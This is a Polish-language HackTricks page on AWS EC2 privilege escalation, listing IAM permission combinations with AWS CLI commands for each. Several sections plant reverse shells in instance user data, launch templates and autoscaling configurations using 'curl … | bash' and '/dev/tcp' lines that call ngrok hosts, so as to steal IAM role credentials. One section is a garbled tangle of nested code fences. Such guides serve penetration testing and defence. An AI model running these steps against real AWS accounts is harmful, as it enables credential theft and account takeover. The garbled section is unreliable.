AWS - EC2 Privesc

Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

EC2

Aby uzyskać więcej informacji na temat EC2, sprawdź:

pageAWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

iam:PassRole, ec2:RunInstances

Atakujący mógłby utworzyć instancję, do której dołączona jest rola IAM, a następnie uzyskać dostęp do instancji, aby ukraść poświadczenia roli IAM z punktu końcowego metadanych.

  • Dostęp za pomocą SSH

Uruchom nową instancję, używając utworzonego klucza SSH (--key-name) i następnie zaloguj się do niej za pomocą SSH (jeśli chcesz utworzyć nowy, możesz potrzebować uprawnienia ec2:CreateKeyPair).

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
--security-group-ids <sg-id>
  • Dostęp za pomocą odwróconego powłoki w danych użytkownika

Możesz uruchomić nową instancję, używając danych użytkownika (--user-data), które wyślą Ci odwróconą powłokę. W ten sposób nie musisz określać grupy zabezpieczeń.

echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=E<instance-profile-name> \
--count 1 \
--user-data "file:///tmp/rev.sh"

Bądź ostrożny z GuardDuty, jeśli używasz poza instancją poświadczeń roli IAM:

pageAWS - GuardDuty Enum

Potencjalne skutki: Bezpośrednie podniesienie uprawnień do dowolnej roli EC2 przypisanej do istniejących profili instancji.

Podniesienie uprawnień do ECS

Z tym zestawem uprawnień możesz również utworzyć instancję EC2 i zarejestrować ją w klastrze ECS. W ten sposób usługi ECS będą uruchamiane wewnątrz instancji EC2, do której masz dostęp, a następnie możesz przeniknąć do tych usług (kontenerów Docker) i ukraść przypisane do nich role ECS.

aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
--instance-type t2.micro \
--iam-instance-profile <ECS_role> \
--count 1 --key-name pwned \
--user-data "file:///tmp/asd.sh"

# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs)
# The EC2 instance profile needs basic ECS access
# The content of the user data is:
#!/bin/bash
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;

Aby dowiedzieć się, jak wymusić uruchomienie usług ECS na nowej instancji EC2, sprawdź:

pageAWS - ECS Privesc

Jeśli nie możesz utworzyć nowej instancji, ale masz uprawnienie ecs:RegisterContainerInstance, możesz zarejestrować instancję w klastrze i przeprowadzić skomentowany atak.

Potencjalne skutki: Bezpośrednie podniesienie uprawnień do ról ECS przypisanych do zadań.

iam:PassRole, iam:AddRoleToInstanceProfile

Podobnie jak w poprzednim scenariuszu, atakujący posiadający te uprawnienia mógłby zmienić rolę IAM skompromitowanej instancji, aby ukraść nowe poświadczenia. Ponieważ profil instancji może mieć tylko jedną rolę, jeśli profil instancji już ma rolę (częsty przypadek), będziesz również potrzebować iam:RemoveRoleFromInstanceProfile.

# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>

# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>

Jeśli profil instancji ma rolę i atakujący nie może jej usunąć, istnieje inny sposób obejścia. Może on znaleźć profil instancji bez roli lub utworzyć nowy (iam:CreateInstanceProfile), dodać do tego profilu instancji rolę (jak wcześniej omówiono) i powiązać profil instancji skompromitowanej z skompromitowaną instancją:

  • Jeśli instancja nie ma żadnego profilu instancji (ec2:AssociateIamInstanceProfile) *

aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>

Potencjalne skutki: Bezpośrednie podniesienie uprawnień do innego EC2 roli (musisz przejąć kontrolę nad instancją AWS EC2 i posiadać dodatkowe uprawnienia lub określony status profilu instancji).

iam:PassRole(( ec2:AssociateIamInstanceProfile& ec2:DisassociateIamInstanceProfile) || ec2:ReplaceIamInstanceProfileAssociation)

Z tymi uprawnieniami możliwe jest zmienienie profilu instancji przypisanego do instancji. Jeśli atakujący już ma dostęp do instancji, będzie mógł ukraść poświadczenia dla innych ról profilu instancji, zmieniając przypisany do niej profil.

  • Jeśli instancja ma profil instancji, możesz go usunąć (ec2:DisassociateIamInstanceProfile) i przypisać go *

aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
  • lub zamień profil instancji skompromitowanej instancji (ec2:ReplaceIamInstanceProfileAssociation). *

```bash
```plaintext
## Opis

Ta komenda AWS CLI służy do zastępowania skojarzenia profilu instancji IAM z instancją EC2. 

## Składnia

```
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<wartość> --association-id <wartość>
```

## Parametry

- `--iam-instance-profile` - (wymagane) Nazwa profilu instancji IAM, który ma zostać skojarzony z instancją EC2.
- `--association-id` - (wymagane) Identyfikator skojarzenia profilu instancji IAM z instancją EC2.

## Przykład

```plaintext
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=my-profile --association-id iip-assoc-1234567890abcdef0
```

Ten przykład zastępuje skojarzenie profilu instancji IAM o nazwie "my-profile" z instancją EC2 o identyfikatorze "iip-assoc-1234567890abcdef0".
```
```

Potencjalne skutki: Bezpośrednie podniesienie uprawnień do innego EC2 roli (musisz przejąć kontrolę nad instancją AWS EC2 i posiadać dodatkowe uprawnienia lub określony status profilu instancji).

ec2:RequestSpotInstances,iam:PassRole

Atakujący posiadający uprawnienia ec2:RequestSpotInstances i iam:PassRole może żądać utworzenia instancji Spot z dołączoną rolą EC2 i rev shell w danych użytkownika. Po uruchomieniu instancji może ukraść rolę IAM.

REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 request-spot-instances \
--instance-count 1 \
--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"

ec2:ModifyInstanceAttribute

Atakujący posiadający uprawnienia ec2:ModifyInstanceAttribute może modyfikować atrybuty instancji. Wśród nich może zmieniać dane użytkownika, co oznacza, że może spowodować, że instancja wykona dowolne dane. Może to być wykorzystane do uzyskania zdalnego dostępu do instancji EC2.

Należy zauważyć, że atrybuty mogą być modyfikowane tylko wtedy, gdy instancja jest zatrzymana, dlatego wymagane są uprawnienia ec2:StopInstances i ec2:StartInstances.

TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0

--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"

#cloud-config
cloud_final_modules:
- [scripts-user, always]

--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"

#!/bin/bash
bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1
--//'
TEXT_PATH="/tmp/text.b64.txt"

printf $TEXT | base64 > "$TEXT_PATH"

aws ec2 stop-instances --instance-ids $INSTANCE_ID

aws ec2 modify-instance-attribute \
--instance-id="$INSTANCE_ID" \
--attribute userData \
--value file://$TEXT_PATH

aws ec2 start-instances --instance-ids $INSTANCE_ID

Potencjalne skutki: Bezpośrednie podniesienie uprawnień do dowolnej roli IAM EC2 przypisanej do utworzonej instancji.

ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplate,ec2:ModifyLaunchTemplate

Atakujący posiadający uprawnienia ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplate i ec2:ModifyLaunchTemplate może utworzyć nową wersję szablonu uruchamiania z rev shellem w danych użytkownika oraz dowolną rolą IAM EC2 na nim, zmienić domyślną wersję, a dowolna grupa automatycznego skalowania korzystająca z tego szablonu uruchamiania, która jest skonfigurowana do użycia najnowszej lub domyślnej wersji, ponownie uruchomi instancje korzystając z tego szablonu i wykonają rev shell.

REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 create-launch-template-version \
--launch-template-name bad_template \
--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}"

aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2

Potencjalne skutki: Bezpośrednie podniesienie uprawnień do innego EC2 roli.

autoscaling:CreateLaunchConfiguration, autoscaling:CreateAutoScalingGroup, iam:PassRole

Atakujący posiadający uprawnienia autoscaling:CreateLaunchConfiguration,autoscaling:CreateAutoScalingGroup,iam:PassRole może utworzyć konfigurację uruchamiania z rolą IAM i odwróconym powłoką w danych użytkownika, a następnie utworzyć grupę autoskalowania z tej konfiguracji i poczekać, aż odwrócona powłoka ukradnie rolę IAM.

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
--image-id ami-0c1bc246476a5572b \
--instance-type t3.micro \
--iam-instance-profile EC2-CloudWatch-Agent-Role \
--user-data "$REV"

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--auto-scaling-group-name bad_auto \
--min-size 1 --max-size 1 \
--launch-configuration-name bad_config \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"

Potencjalne skutki: Bezpośrednie podniesienie uprawnień do innego EC2 roli.

!autoscaling

Zestaw uprawnień ec2:CreateLaunchTemplate i autoscaling:CreateAutoScalingGroup nie wystarcza do podniesienia uprawnień do roli IAM, ponieważ w celu dołączenia roli określonej w Konfiguracji uruchamiania lub w Szablonie uruchamiania potrzebujesz uprawnień iam:PassRole i ec2:RunInstances (co jest znanym podniesieniem uprawnień).

ec2-instance-connect:SendSSHPublicKey

Atakujący posiadający uprawnienie ec2-instance-connect:SendSSHPublicKey może dodać klucz SSH do użytkownika i użyć go do uzyskania dostępu (jeśli ma dostęp SSH do instancji) lub do podniesienia uprawnień.

aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"

Potencjalne skutki: Bezpośrednie podniesienie uprawnień do ról IAM EC2 przypisanych do działających instancji.

ec2-instance-connect:SendSerialConsoleSSHPublicKey

Atakujący posiadający uprawnienie ec2-instance-connect:SendSerialConsoleSSHPublicKey może dodać klucz SSH do połączenia szeregowego. Jeśli port szeregowy nie jest włączony, atakujący potrzebuje uprawnienia ec2:EnableSerialConsoleAccess aby go włączyć.

Aby połączyć się z portem szeregowym, musisz również znać nazwę użytkownika i hasło do użytkownika wewnątrz maszyny.

aws ec2 enable-serial-console-access

aws ec2-instance-connect send-serial-console-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--serial-port 0 \
--region "eu-west-1" \
--ssh-public-key "file://$PUBK_PATH"

ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws

Ta metoda nie jest zbyt przydatna do eskalacji uprawnień, ponieważ potrzebujesz znać nazwę użytkownika i hasło, aby ją wykorzystać.

Potencjalne skutki: (Bardzo trudne do udowodnienia) Bezpośrednia eskalacja uprawnień do ról IAM EC2 przypisanych do uruchomionych instancji.

Referencje

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated